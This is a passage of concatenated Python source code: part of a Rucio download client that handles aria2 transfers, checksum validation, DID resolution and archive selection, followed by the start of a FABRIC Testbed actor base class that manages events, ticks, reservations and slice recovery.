'FILE_NOT_FOUND' self._send_trace(trace) else: item['trace'] = trace options = {'dir': os.path.dirname(dest_file_path), 'out': os.path.basename(item['temp_file_path'])} gid = aria_rpc.aria2.addUri(rpc_auth, pfns, options) gid_to_item[gid] = item num_queued += 1 logger.debug('Queued file: %s' % file_did_str) # get some statistics aria_stat = aria_rpc.aria2.getGlobalStat(rpc_auth) num_active = int(aria_stat['numActive']) num_waiting = int(aria_stat['numWaiting']) num_stopped = int(aria_stat['numStoppedTotal']) # save start time if one of the active downloads has started active = aria_rpc.aria2.tellActive(rpc_auth, ['gid', 'completedLength']) for dlinfo in active: gid = dlinfo['gid'] if int(dlinfo['completedLength']) > 0: gid_to_item[gid].setdefault('transferStart', time.time()) stopped = aria_rpc.aria2.tellStopped(rpc_auth, -1, num_stopped, ['gid', 'status', 'files']) for dlinfo in stopped: gid = dlinfo['gid'] item = gid_to_item[gid] file_scope = item['scope'] file_name = item['name'] file_did_str = '%s:%s' % (file_scope, file_name) temp_file_path = item['temp_file_path'] # workaround: only consider first dest file path for aria2c download dest_file_path = next(iter(item['dest_file_paths'])) # ensure we didnt miss the active state (e.g. a very fast download) start_time = item.setdefault('transferStart', time.time()) end_time = item.setdefault('transferEnd', time.time()) # get used pfn for traces trace = item['trace'] for uri in dlinfo['files'][0]['uris']: if uri['status'].lower() == 'used': trace['remoteSite'] = pfn_to_rse.get(uri['uri'], '') trace['transferStart'] = start_time trace['transferEnd'] = end_time # ensure file exists status = dlinfo.get('status', '').lower() if status == 'complete' and os.path.isfile(temp_file_path): # checksum check skip_check = item.get('ignore_checksum', False) rucio_checksum = 0 if skip_check else item.get('adler32') local_checksum = 0 if skip_check else adler32(temp_file_path) if rucio_checksum == local_checksum: item['clientState'] = 'DONE' trace['clientState'] = 'DONE' # remove .part ending os.rename(temp_file_path, dest_file_path) # calculate duration duration = round(end_time - start_time, 2) duration = max(duration, 0.01) # protect against 0 division size = item.get('bytes', 0) rate = round((size / duration) * 1e-6, 2) size_str = sizefmt(size, self.is_human_readable) logger.info('File %s successfully downloaded. %s in %s seconds = %s MBps' % (file_did_str, size_str, duration, rate)) else: os.unlink(temp_file_path) logger.warning('Checksum validation failed for file: %s' % file_did_str) logger.debug('Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum)) item['clientState'] = 'FAIL_VALIDATE' trace['clientState'] = 'FAIL_VALIDATE' else: logger.error('Failed to download file: %s' % file_did_str) logger.debug('Aria2c status: %s' % status) item['clientState'] = 'FAILED' trace['clientState'] = 'DOWNLOAD_ATTEMPT' self._send_trace(trace) del item['trace'] aria_rpc.aria2.removeDownloadResult(rpc_auth, gid) del gid_to_item[gid] if len(stopped) > 0: logger.info('Active: %d, Waiting: %d, Stopped: %d' % (num_active, num_waiting, num_stopped)) return items def _resolve_and_merge_input_items(self, items): """ This function takes the input items given to download_dids etc. and merges them respecting their individual options. This way functions can operate on these items in batch mode. E.g., list_replicas calls are reduced. :param items: List of dictionaries. Each dictionary describing an input item :returns: a dictionary with a dictionary that maps the input DIDs to options and a list with a dictionary for each merged download item :raises InputValidationError: if one of the input items is in the wrong format """ logger = self.logger # check mandatory options before doing any server calls for item in items: if item.get('resolve_archives') is not None: logger.warning('resolve_archives option is deprecated and will be removed in a future release.') item.setdefault('no_resolve_archives', not item.pop('resolve_archives')) did = item.get('did', []) if len(did) == 0: if not item.get('filters', {}).get('scope'): logger.debug(item) raise InputValidationError('Item without did and filter/scope') item['did'] = [None] elif not isinstance(did, list): item['did'] = [did] distinct_keys = ['rse', 'force_scheme', 'nrandom'] all_resolved_did_strs = set() did_to_options = {} merged_items = [] download_info = {'did_to_options': did_to_options, 'merged_items': merged_items} while len(items) > 0: item = items.pop() filters = item.get('filters', {}) item_dids = item.pop('did') if item_dids[0] is None: logger.debug('Resolving DIDs by using filter options') item_dids = [] scope = filters.pop('scope') for did_name in self.client.list_dids(scope, filters=filters, type='all'): item_dids.append('%s:%s' % (scope, did_name)) base_dir = item.pop('base_dir', '.') no_subdir = item.pop('no_subdir', False) ignore_checksum = item.pop('ignore_checksum', False) new_transfer_timeout = item.pop('transfer_timeout', None) resolved_dids = item.setdefault('dids', []) for did_str in item_dids: did_scope, did_name = self._split_did_str(did_str) tmp_did_names = [] if '*' in did_name: filters['name'] = did_name tmp_did_names = list(self.client.list_dids(did_scope, filters=filters, type='all')) else: tmp_did_names = [did_name] for did_name in tmp_did_names: resolved_did_str = '%s:%s' % (did_scope, did_name) options = did_to_options.setdefault(resolved_did_str, {}) options.setdefault('destinations', set()).add((base_dir, no_subdir)) if resolved_did_str in all_resolved_did_strs: # in this case the DID was already given in another item # the options of this DID will be ignored and the options of the first item that contained the DID will be used # another approach would be to compare the options and apply the more relaxed options logger.debug('Ignoring further options of DID: %s' % resolved_did_str) continue options['ignore_checksum'] = (options.get('ignore_checksum') or ignore_checksum) cur_transfer_timeout = options.setdefault('transfer_timeout', None) if cur_transfer_timeout is not None and new_transfer_timeout is not None: options['transfer_timeout'] = max(int(cur_transfer_timeout), int(new_transfer_timeout)) elif new_transfer_timeout is not None: options['transfer_timeout'] = int(new_transfer_timeout) resolved_dids.append({'scope': did_scope, 'name': did_name}) all_resolved_did_strs.add(resolved_did_str) if len(resolved_dids) == 0: logger.warning('An item didnt have any DIDs after resolving the input. Ignoring it.') logger.debug(item) continue was_merged = False for merged_item in merged_items: if all(item.get(k) == merged_item.get(k) for k in distinct_keys): merged_item['dids'].extend(resolved_dids) was_merged = True break if not was_merged: item['dids'] = resolved_dids merged_items.append(item) return download_info def _get_sources(self, merged_items, resolve_archives=True): """ Get sources (PFNs) of the DIDs. :param merged_items: list of dictionaries. Each dictionary describes a bunch of DIDs to download :returns: list of list of dictionaries. """ logger = self.logger merged_items_with_sources = [] # if excluding tapes, we need to list them first tape_rses = [] if self.is_tape_excluded: try: tape_rses = [endp['rse'] for endp in self.client.list_rses(rse_expression='istape=true')] except: logger.debug('No tapes found.') for item in merged_items: # since we're using metalink we need to explicitly give all schemes schemes = item.get('force_scheme') if schemes: schemes = schemes if isinstance(schemes, list) else [schemes] logger.debug('schemes: %s' % schemes) # RSE expression, still with tape endpoints included rse_expression = item.get('rse') logger.debug('rse_expression: %s' % rse_expression) # get PFNs of files and datasets logger.debug('num DIDs for list_replicas call: %d' % len(item['dids'])) metalink_str = self.client.list_replicas(item['dids'], schemes=schemes, rse_expression=rse_expression, client_location=self.client_location, resolve_archives=resolve_archives, resolve_parents=True, metalink=True) file_items = parse_replicas_from_string(metalink_str) logger.debug('num resolved files: %s' % len(file_items)) # list_replicas returns nothing if the DID does not exist and we dont want to # do another server call so we check if there is a result from list_replicas # for each given DID. If not the DID does not exist for input_did in item['dids']: input_did = DIDType(input_did) if not any([input_did == f['did'] or str(input_did) in f['parent_dids'] for f in file_items]): logger.error('DID does not exist: %s' % input_did) # TODO: store did directly as DIDType object file_items.append({'did': str(input_did), 'adler32': None, 'md5': None, 'sources': [], 'parent_dids': set()}) # filtering out tape sources if self.is_tape_excluded: for item in file_items: sources = item['sources'] for src in item['sources']: if src in tape_rses: sources.remove(src) if not sources: logger.warning('Requested did {} has only replicas on tape. No files will be download.'.format(item['did'])) nrandom = item.get('nrandom') if nrandom: logger.info('Selecting %d random replicas from DID(s): %s' % (nrandom, item['dids'])) random.shuffle(file_items) file_items = file_items[0:nrandom] merged_items_with_sources.append(file_items) else: merged_items_with_sources.append(file_items) return merged_items_with_sources def _prepare_items_for_download(self, did_to_options, merged_items_with_sources, resolve_archives=True): """ Optimises the amount of files to download (This function is meant to be used as class internal only) :param did_to_options: dictionary that maps each input DID to some input options :param merged_items_with_sources: list of dictionaries. Each dictionary describes a bunch of DIDs to download :returns: list of dictionaries. Each dictionary describes an element to download :raises InputValidationError: if the given input is not valid or incomplete """ logger = self.logger if resolve_archives: # perhaps we'll need an extraction tool so check what is installed self.extraction_tools = [tool for tool in self.extraction_tools if tool.is_useable()] if len(self.extraction_tools) < 1: logger.warning('Archive resolution is enabled but no extraction tool is available. ' 'Sources whose protocol doesnt support extraction wont be considered for download.') # maps file item IDs (fiid) to the file item object fiid_to_file_item = {} # list of all file item objects all_file_items = [] # cea -> client_extract archives to avoid confusion with archives that dont need explicit extraction # this dict will contain all ids of cea's that definitely will be downloaded cea_id_pure_to_fiids = {} # this dict will contain ids of cea's that have higher prioritised non cea sources cea_id_mixed_to_fiids = {} all_input_dids = set(did_to_options.keys()) all_dest_file_paths = set() # get replicas for every file of the given dids for file_items in merged_items_with_sources: all_file_items.extend(file_items) for file_item in file_items: # parent_dids contains all parents, so we take the intersection with the input dids dataset_did_strs = file_item.setdefault('parent_dids', set()) dataset_did_strs.intersection_update(all_input_dids) file_did_str = file_item['did'] file_did_scope, file_did_name = self._split_did_str(file_did_str) file_item['scope'] = file_did_scope file_item['name'] = file_did_name logger.debug('Queueing file: %s' % file_did_str) logger.debug('real parents: %s' % dataset_did_strs) logger.debug('options: %s' % did_to_options) # prepare destinations: # if datasets were given: prepare the destination paths for each dataset options = None dest_file_paths = file_item.get('dest_file_paths', set()) for dataset_did_str in dataset_did_strs: options = did_to_options.get(dataset_did_str) if not options: logger.error('No input options available for %s' % dataset_did_str) continue destinations = options['destinations'] dataset_scope, dataset_name = self._split_did_str(dataset_did_str) paths = [os.path.join(self._prepare_dest_dir(dest[0], dataset_name, dest[1]), file_did_name) for dest in destinations] if any(path in all_dest_file_paths for path in paths): raise RucioException("Multiple file items with same destination file path") all_dest_file_paths.update(paths) dest_file_paths.update(paths) # workaround: just take any given dataset for the traces and the output file_item.setdefault('dataset_scope', dataset_scope) file_item.setdefault('dataset_name', dataset_name) # if no datasets were given only prepare the given destination paths if len(dataset_did_strs) == 0: options = did_to_options.get(file_did_str) if not options: logger.error('No input options available for %s' % file_did_str) continue destinations = options['destinations'] paths = [os.path.join(self._prepare_dest_dir(dest[0], file_did_scope, dest[1]), file_did_name) for dest in destinations] if any(path in all_dest_file_paths for path in paths): raise RucioException("Multiple file items with same destination file path") all_dest_file_paths.update(paths) dest_file_paths.update(paths) if options is None: continue file_item['merged_options'] = options file_item['dest_file_paths'] = list(dest_file_paths) file_item['temp_file_path'] = '%s.part' % file_item['dest_file_paths'][0] # the file did str ist not an unique key for this dict because multiple calls of list_replicas # could result in the same DID multiple times. So we're using the id of the dictionary objects fiid = id(file_item) fiid_to_file_item[fiid] = file_item if resolve_archives: min_cea_priority = None num_non_cea_sources = 0 cea_ids = [] sources = [] # go through sources and check how many (non-)cea sources there are, # index cea sources, or remove cea sources if there is no extraction tool for source in file_item['sources']: is_cea = source.get('client_extract', False) if is_cea and (len(self.extraction_tools) > 0): priority = int(source['priority']) if min_cea_priority is None or priority < min_cea_priority: min_cea_priority = priority # workaround since we dont have the archive DID use the part behind the last slash of the PFN # this doesn't respect the scope of the archive DID!!! # and we trust that client_extract==True sources dont have any parameters at the end of the PFN cea_id = source['pfn'].split('/') cea_id = cea_id[-1] if len(cea_id[-1]) > 0 else cea_id[-2] cea_ids.append(cea_id) sources.append(source) elif not is_cea: num_non_cea_sources += 1 sources.append(source) else: # no extraction tool logger.debug('client_extract=True; ignoring source: %s' % source['pfn']) logger.debug('Prepared sources: num_sources=%d/%d; num_non_cea_sources=%d; num_cea_ids=%d' % (len(sources), len(file_item['sources']), num_non_cea_sources, len(cea_ids))) file_item['sources'] = sources # if there are no cea sources we are done for this item if min_cea_priority is None: continue # decide if file item belongs to the pure or mixed map # if no non-archive src exists or the highest prio src is an archive src we put it in the pure map elif num_non_cea_sources == 0 or min_cea_priority == 1: logger.debug('Adding fiid to cea pure map: ' 'num_non_cea_sources=%d; min_cea_priority=%d; num_cea_sources=%d' % (num_non_cea_sources, min_cea_priority, len(cea_ids))) for cea_id in cea_ids: cea_id_pure_to_fiids.setdefault(cea_id, set()).add(fiid) file_item.setdefault('cea_ids_pure', set()).add(cea_id) # if there are non-archive sources and archive sources we put it in the mixed map elif len(cea_ids) > 0: logger.debug('Adding fiid to cea mixed map: ' 'num_non_cea_sources=%d; min_cea_priority=%d; num_cea_sources=%d' % (num_non_cea_sources, min_cea_priority, len(cea_ids))) for cea_id in cea_ids: cea_id_mixed_to_fiids.setdefault(cea_id, set()).add(fiid) file_item.setdefault('cea_ids_mixed', set()).add(cea_id) # put all archives from the mixed list into the pure list if they meet # certain conditions, e.g., an archive that is already in the pure list for cea_id_mixed in list(cea_id_mixed_to_fiids.keys()): fiids_mixed = cea_id_mixed_to_fiids[cea_id_mixed] if cea_id_mixed in cea_id_pure_to_fiids: # file from mixed list is already in a pure list logger.debug('Mixed ID is already in cea pure map: ' 'cea_id_mixed=%s; num_fiids_mixed=%d; num_cea_pure_fiids=%d' % (cea_id_mixed, len(fiids_mixed), len(cea_id_pure_to_fiids[cea_id_mixed]))) elif len(fiids_mixed) >= self.use_cea_threshold: # more than use_cea_threshold files are in a common archive logger.debug('Number of needed files in cea reached threshold: ' 'cea_id_mixed=%s; num_fiids_mixed=%d; threshold=%d' % (cea_id_mixed, len(fiids_mixed), self.use_cea_threshold)) else: # dont move from mixed list to pure list continue # first add cea_id to pure map so it can be removed from mixed map later cea_id_pure_to_fiids.setdefault(cea_id_mixed, set()).update(fiids_mixed) # now update all file_item mixed/pure maps for fiid_mixed in list(fiids_mixed): file_item = fiid_to_file_item[fiid_mixed] # add cea id to file_item pure map file_item.setdefault('cea_ids_pure', set()).add(cea_id_mixed) # remove file item mixed map and # remove references from all other mixed archives to file_item for cea_id_mixed2 in file_item.pop('cea_ids_mixed'): cea_id_mixed_to_fiids[cea_id_mixed2].remove(fiid_mixed) # finally remove cea_id from mixed map cea_id_mixed_to_fiids.pop(cea_id_mixed) for file_item in all_file_items: cea_ids_pure = file_item.get('cea_ids_pure', set()) cea_ids_mixed = file_item.get('cea_ids_mixed', set()) if len(cea_ids_pure) > 0: logger.debug('Removing all non-cea sources of file %s' % file_item['did']) file_item['sources'] = [s for s in file_item['sources'] if s.get('client_extract', False)] elif len(cea_ids_mixed) > 0: logger.debug('Removing all cea sources of file %s' % file_item['did']) file_item['sources'] = [s for s in file_item['sources'] if not s.get('client_extract', False)] # reduce the amount of archives to download by removing # all redundant pure archives (=all files can be extracted from other archives) for cea_id_pure in list(cea_id_pure_to_fiids.keys()): # if all files of this archive are available in more than one archive the archive is redundant if all(len(fiid_to_file_item[fiid_pure]['cea_ids_pure']) > 1 for fiid_pure in cea_id_pure_to_fiids[cea_id_pure]): for fiid_pure in cea_id_pure_to_fiids[cea_id_pure]: fiid_to_file_item[fiid_pure]['cea_ids_pure'].discard(cea_id_pure) logger.debug('Removing redundant archive %s' % cea_id_pure) cea_id_pure_to_fiids.pop(cea_id_pure) # remove all archives of a file except a single one so # that each file is assigned to exactly one pure archive for cea_id_pure in cea_id_pure_to_fiids: for fiid_pure in cea_id_pure_to_fiids[cea_id_pure]: cea_ids_pure = fiid_to_file_item[fiid_pure]['cea_ids_pure'] for cea_id_pure_other in list(cea_ids_pure): if cea_id_pure != cea_id_pure_other: cea_id_pure_to_fiids[cea_id_pure_other].discard(fiid_pure) cea_ids_pure.discard(cea_id_pure_other) download_packs = [] cea_id_to_pack = {} for file_item in all_file_items: cea_ids = file_item.get('cea_ids_pure', set()) if len(cea_ids) > 0: cea_id = next(iter(cea_ids)) pack = cea_id_to_pack.get(cea_id) if pack is None: scope = file_item['scope'] first_dest = next(iter(file_item['merged_options']['destinations'])) dest_path = os.path.join(self._prepare_dest_dir(first_dest[0], scope, first_dest[1]), cea_id) pack = {'scope': scope, 'name': cea_id, 'dest_file_paths': [dest_path], 'temp_file_path': '%s.part' % dest_path, 'sources': file_item['sources'], 'merged_options': {'ignore_checksum': True}, # we currently dont have checksums for the archive 'archive_items': [] } cea_id_to_pack[cea_id] = pack download_packs.append(pack) file_item.pop('sources') pack['archive_items'].append(file_item) else: download_packs.append(file_item) return download_packs def _split_did_str(self, did_str): """ Splits a given DID string (e.g. 'scope1:name.file') into its scope and name part (This function is meant to be used as class internal only) :param did_str: the DID string that will be splitted :returns: the scope- and name part of the given DID :raises InputValidationError: if the given DID string is not valid """ did = did_str.split(':') if len(did) == 2: did_scope = did[0] did_name = did[1] elif len(did) == 1: did = did_str.split('.') did_scope = did[0] if did_scope == 'user' or did_scope == 'group': did_scope = '%s.%s' % (did[0], did[1]) did_name = did_str else: raise InputValidationError('%s is not a valid DID. To many colons.' % did_str) if did_name.endswith('/'): did_name = did_name[:-1] return did_scope, did_name @staticmethod def _prepare_dest_dir(base_dir, dest_dir_name, no_subdir): """ Builds the final destination path for a file and creates the destination directory if it's not existent. (This function is meant to be used as class internal only) :param base_dir: base directory part :param dest_dir_name: name of the destination directory :param no_subdir: if no subdirectory should be created :returns: the absolut path of the destination directory """ # append dest_dir_name, if subdir should be used dest_dir_path = os.path.join(os.path.abspath(base_dir), '' if no_subdir else dest_dir_name) if not os.path.isdir(dest_dir_path): os.makedirs(dest_dir_path) return dest_dir_path def _check_output(self, output_items): """ Checks if all files were successfully downloaded (This function is meant to be used as class internal only) :param output_items: list of dictionaries describing the downloaded files :returns: output_items list :raises NoFilesDownloaded: :raises NotAllFilesDownloaded: """ success_states = ['ALREADY_DONE', 'DONE', 'FOUND_IN_PCACHE'] # failure_states = ['FILE_NOT_FOUND', 'FAIL_VALIDATE', 'FAILED'] num_successful = 0 num_failed = 0 for item in output_items: clientState = item.get('clientState', 'FAILED') if clientState in success_states: num_successful += 1 else: num_failed += 1 if num_successful == 0: raise NoFilesDownloaded() elif num_failed > 0: raise NotAllFilesDownloaded() return output_items def _send_trace(self, trace): """ Checks if sending trace is allowed and send the trace. :param trace: the trace """ if self.tracing: send_trace(trace, self.client.host, self.client.user_agent) def _verify_checksum(item, path): rucio_checksum = item.get(PREFERRED_CHECKSUM) local_checksum = None checksum_algo = CHECKSUM_ALGO_DICT.get(PREFERRED_CHECKSUM) if rucio_checksum and checksum_algo: local_checksum = checksum_algo(path) return rucio_checksum == local_checksum, rucio_checksum, local_checksum for checksum_name in GLOBALLY_SUPPORTED_CHECKSUMS: rucio_checksum = item.get(checksum_name) checksum_algo = CHECKSUM_ALGO_DICT.get(checksum_name) if rucio_checksum and checksum_algo: local_checksum = checksum_algo(path) return rucio_checksum == local_checksum, rucio_checksum, local_checksum return False, None, None
actor.py
#!/usr/bin/env python3 # MIT License # # Copyright (c) 2020 FABRIC Testbed # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # # # Author: Komal Thareja (kthare10@renci.org) import queue import threading import traceback from typing import List from fabric_cf.actor.core.apis.abc_delegation import ABCDelegation, DelegationState from fabric_cf.actor.core.apis.abc_policy import ABCPolicy from fabric_cf.actor.core.apis.abc_timer_task import ABCTimerTask from fabric_cf.actor.core.apis.abc_actor_mixin import ABCActorMixin, ActorType from fabric_cf.actor.core.apis.abc_actor_event import ABCActorEvent from fabric_cf.actor.core.apis.abc_actor_proxy import ABCActorProxy from fabric_cf.actor.core.apis.abc_actor_runnable import ABCActorRunnable from fabric_cf.actor.core.apis.abc_query_response_handler import ABCQueryResponseHandler from fabric_cf.actor.core.apis.abc_reservation_mixin import ABCReservationMixin from fabric_cf.actor.core.apis.abc_slice import ABCSlice from fabric_cf.actor.core.common.exceptions import ActorException from fabric_cf.actor.core.container.message_service import MessageService from fabric_cf.actor.core.delegation.delegation_factory import DelegationFactory from fabric_cf.actor.core.kernel.failed_rpc import FailedRPC from fabric_cf.actor.core.kernel.kernel_wrapper import KernelWrapper from fabric_cf.actor.core.kernel.rpc_manager_singleton import RPCManagerSingleton from fabric_cf.actor.core.kernel.resource_set import ResourceSet from fabric_cf.actor.core.kernel.slice import SliceTypes from fabric_cf.actor.core.proxies.proxy import Proxy from fabric_cf.actor.core.time.actor_clock import ActorClock from fabric_cf.actor.core.time.term import Term from fabric_cf.actor.core.util.id import ID from fabric_cf.actor.core.util.iterable_queue import IterableQueue from fabric_cf.actor.core.util.reflection_utils import ReflectionUtils from fabric_cf.actor.core.util.reservation_set import ReservationSet from fabric_cf.actor.security.auth_token import AuthToken class ExecutionStatus: """ Execution status of an action on Actor Thread """ def __init__(self): self.done = False self.exception = None self.result = None self.lock = threading.Condition() def mark_done(self): """ Mark as done """ self.done = True class ActorEvent(ABCActorEvent): """ Actor Event """ def __init__(self, *, status: ExecutionStatus, runnable: ABCActorRunnable): self.status = status self.runnable = runnable def process(self): """ Process an event """ try: self.status.result = self.runnable.run() except Exception as e: traceback.print_exc() self.status.exception = e finally: with self.status.lock: self.status.done = True self.status.lock.notify_all() class ActorMixin(ABCActorMixin): """ Actor is the base class for all actor implementations """ DefaultDescription = "no description" actor_count = 0 def __init__(self, *, auth: AuthToken = None, clock: ActorClock = None): # Globally unique identifier for this actor. self.guid = ID() # Actor name. self.name = None # Actor type code. self.type = ActorType.All # Actor description. self.description = self.DefaultDescription # Identity object representing this actor. self.identity = auth # Actor policy object. self.policy = None # Actor plugin self.plugin = None # True if this actor has completed the recovery phase. self.recovered = False # The kernel wrapper. self.wrapper = None # logger self.logger = None # Factory for term. self.clock = clock # current cycle self.current_cycle = -1 # True if the current tick is the first tick this actor has received. self.first_tick = True # Set to true when the actor is stopped. self.stopped = False # Initialization status. self.initialized = False # Contains a reference to the thread currently executing the timer handler. # This field is set at the entry to and clear at the exit. # The primary use of the field is to handle correctly stopping the actor. self.thread = None # A queue of timers that have fired and need to be processed. self.timer_queue = queue.Queue() self.event_queue = queue.Queue() # Reservations to close once recovery is complete. self.closing = ReservationSet() self.thread_lock = threading.Lock() self.actor_main_lock = threading.Condition() self.message_service = None def __getstate__(self): state = self.__dict__.copy() del state['recovered'] del state['wrapper'] del state['logger'] del state['clock'] del state['current_cycle'] del state['first_tick'] del state['stopped'] del state['initialized'] del state['thread_lock'] del state['thread'] del state['timer_queue'] del state['event_queue'] del state['actor_main_lock'] del state['closing'] del state['message_service'] return state def __setstate__(self, state): self.__dict__.update(state) self.recovered = False self.wrapper = None self.logger = None self.clock = None self.current_cycle = -1 self.first_tick = True self.stopped = False self.initialized = False self.thread = None self.thread_lock = threading.Lock() self.timer_queue = queue.Queue() self.event_queue = queue.Queue() self.actor_main_lock = threading.Condition() self.closing = ReservationSet() self.message_service = None self.policy.set_actor(actor=self) def actor_added(self): self.plugin.actor_added() def actor_removed(self): return def fail(self, *, rid: ID, message: str): self.wrapper.fail(rid=rid, message=message) def fail_delegation(self, *, did: str, message: str): self.wrapper.fail_delegation(did=did, message=message) def close_by_rid(self, *, rid: ID): self.wrapper.close(rid=rid) def close(self, *, reservation: ABCReservationMixin): if reservation is not None: if not self.recovered: self.logger.debug("Adding reservation: {} to closing list".format(reservation.get_reservation_id())) self.closing.add(reservation=reservation) else: self.logger.debug("Closing reservation: {}".format(reservation.get_reservation_id())) self.wrapper.close(rid=reservation.get_reservation_id()) def close_slice_reservations(self, *, slice_id: ID): self.wrapper.close_slice_reservations(slice_id=slice_id) def close_reservations(self, *, reservations: ReservationSet): for reservation in reservations.values(): try: self.logger.debug("Closing reservation: {}".format(reservation.get_reservation_id())) self.close(reservation=reservation) except Exception as e: self.logger.error(traceback.format_exc()) self.logger.error("Could not close for #{} {}".format(reservation.get_reservation_id(), e)) def error(self, *, err: str): """ Logs and propagates a general error. @param err log/exception message. @throws Exception always """ self.logger.error(err) raise ActorException(err) def extend(self, *, rid: ID, resources: ResourceSet, term: Term): self.wrapper.extend_reservation(rid=rid, resources=resources, term=term) def external_tick(self, *, cycle: int): self.logger.info("External Tick start cycle: {}".format(cycle)) class TickEvent(ABCActorEvent): def __init__(self, *, base, cycle: int): self.base = base self.cycle = cycle def __str__(self): return "{} {}".format(self.base, self.cycle) def process(self): self.base.actor_tick(cycle=self.cycle) self.queue_event(incoming=TickEvent(base=self, cycle=cycle)) self.logger.info("External Tick end cycle: {}".format(cycle)) def actor_tick(self, *, cycle: int): """ Actor Tick :param cycle: cycle :return: """ try: if not self.recovered: self.logger.warning("Tick for an actor that has not completed recovery") return current_cycle = 0 if self.first_tick: current_cycle = cycle else: current_cycle = self.current_cycle + 1 while current_cycle <= cycle: self.logger.info("actor_tick: {} start".format(current_cycle)) self.current_cycle = current_cycle self.policy.prepare(cycle=self.current_cycle) if self.first_tick: self.reset() self.tick_handler() self.policy.finish(cycle=self.current_cycle) self.wrapper.tick() self.first_tick = False self.logger.info("actor_tick: {} end".format(current_cycle)) current_cycle += 1 except Exception as e: self.logger.debug(traceback.format_exc()) raise e def get_actor_clock(self) -> ActorClock: return self.clock def get_client_slices(self) -> List[ABCSlice]: return self.wrapper.get_client_slices() def get_current_cycle(self) -> int: return self.current_cycle def get_description(self) -> str: return self.description def get_guid(self) -> ID: if self.identity is not None: return self.identity.get_guid() return None def get_identity(self) -> AuthToken: return self.identity def get_inventory_slices(self) -> List[ABCSlice]: """ Get inventory slices @return inventory slices """ return self.wrapper.get_inventory_slices() def get_logger(self): return self.logger def get_name(self) -> str: return self.name def get_policy(self) -> ABCPolicy: return self.policy def get_delegation(self, *, did: str) -> ABCDelegation: return self.wrapper.get_delegation(did=did) def get_reservation(self, *, rid: ID) -> ABCReservationMixin: return self.wrapper.get_reservation(rid=rid) def get_reservations(self, *, slice_id: ID) -> List[ABCReservationMixin]: return self.wrapper.get_reservations(slice_id=slice_id) def get_plugin(self): return self.plugin def get_slice(self, *, slice_id: ID) -> ABCSlice: return self.wrapper.get_slice(slice_id=slice_id) def get_slices(self): return self.wrapper.get_slices() def get_type(self) -> ActorType: return self.type def initialize(self): from fabric_cf.actor.core.container.globals import GlobalsSingleton if not self.initialized: if self.identity is None or self.plugin is None or self.policy is None: raise ActorException(f"The actor is not properly created: identity: {self.identity} " f"plugin: {self.plugin} policy: {self.policy}") if self.name is None: self.name = self.identity.get_name() if self.name is None: raise ActorException("The actor is not properly created: no name") if self.clock is None: self.clock = GlobalsSingleton.get().get_container().get_actor_clock() if self.clock is None: raise ActorException("The actor is not properly created: no clock") if self.logger is None: self.logger = GlobalsSingleton.get().get_logger() self.plugin.set_actor(actor=self) self.plugin.set_logger(logger=self.logger) self.plugin.initialize() self.policy.set_actor(actor=self) self.policy.initialize() self.policy.set_logger(logger=self.logger) self.wrapper = KernelWrapper(actor=self, plugin=self.plugin, policy=self.policy) self.current_cycle = -1 self.setup_message_service() self.initialized = True def is_recovered(self) -> bool: return self.recovered def is_stopped(self) -> bool: return self.stopped def query(self, *, query: dict = None, caller: AuthToken = None, actor_proxy: ABCActorProxy = None, handler: ABCQueryResponseHandler = None) -> dict: """ Query an actor @param query query @param caller caller @param actor_proxy actor proxy @param handler response handler """ if actor_proxy is None and handler is None: return self.wrapper.query(properties=query, caller=caller) else: callback = Proxy.get_callback(actor=self, protocol=actor_proxy.get_type()) RPCManagerSingleton.get().query(actor=self, remote_actor=actor_proxy, callback=callback, query=query, handler=handler) return None def recover(self): """ Recover """ self.logger.info("Starting recovery") self.recovery_starting() self.logger.debug("Recovering inventory slices") inventory_slices = self.plugin.get_database().get_slices(slc_type=[SliceTypes.InventorySlice]) self.logger.debug("Found {} inventory slices".format(len(inventory_slices))) self.recover_slices(slices=inventory_slices) self.logger.debug("Recovery of inventory slices complete") self.logger.debug("Recovering client slices") client_slices = self.plugin.get_database().get_slices(slc_type=[SliceTypes.ClientSlice, SliceTypes.BrokerClientSlice]) self.logger.debug("Found {} client slices".format(len(client_slices))) self.recover_slices(slices=client_slices) self.logger.debug("Recovery of client slices complete") self.recovered = True self.recovery_ended() self.logger.info("Recovery complete") def recovery_starting(self): """ Recovery starting """ self.plugin.recovery_starting() self.policy.recovery_starting() def recovery_ended(self): """ Recovery ended """ self.plugin.recovery_ended() self.policy.recovery_ended() from fabric_cf.actor.core.container.globals import GlobalsSingleton if GlobalsSingleton.get().can_reload_model(): GlobalsSingleton.get().delete_reload_model_state_file() def recover_slices(self, *, slices: List[ABCSlice]): """ Recover slices @param slices slices """ for s in slices: try: self.recover_slice(slice_obj=s) except Exception as e: self.logger.error(traceback.format_exc()) self.logger.error("Error in recoverSlice for property list {}".format(e)) if s.is_inventory(): raise e def recover_broker_slice(self, *, slice_obj: ABCSlice): """ Recover broker slice at the AM, do the following if the model.reload file is detected - Close the existing delegations - Create the new delegations from the reloaded ARM - Add the delegations to the Broker Slice @param slice_obj Slice object """ if self.get_type() != ActorType.Authority: return False if not slice_obj.is_broker_client(): return False from fabric_cf.actor.core.container.globals import GlobalsSingleton if not GlobalsSingleton.get().can_reload_model(): return False self.logger.info(f"Closing old delegations and adding new delegations to the slice: {slice_obj}!") delegation_names = [] try: delegations = self.plugin.get_database().get_delegations(slice_id=str(slice_obj.get_slice_id())) except Exception as e: self.logger.error(e) raise ActorException(f"Could not fetch delegations records for slice {slice_obj} from database") for d in delegations: self.logger.info(f"Closing delegation: {d}!") d.set_graph(graph=None) d.transition(prefix="closed as part of recovers", state=DelegationState.Closed) delegation_names.append(d.get_delegation_name()) 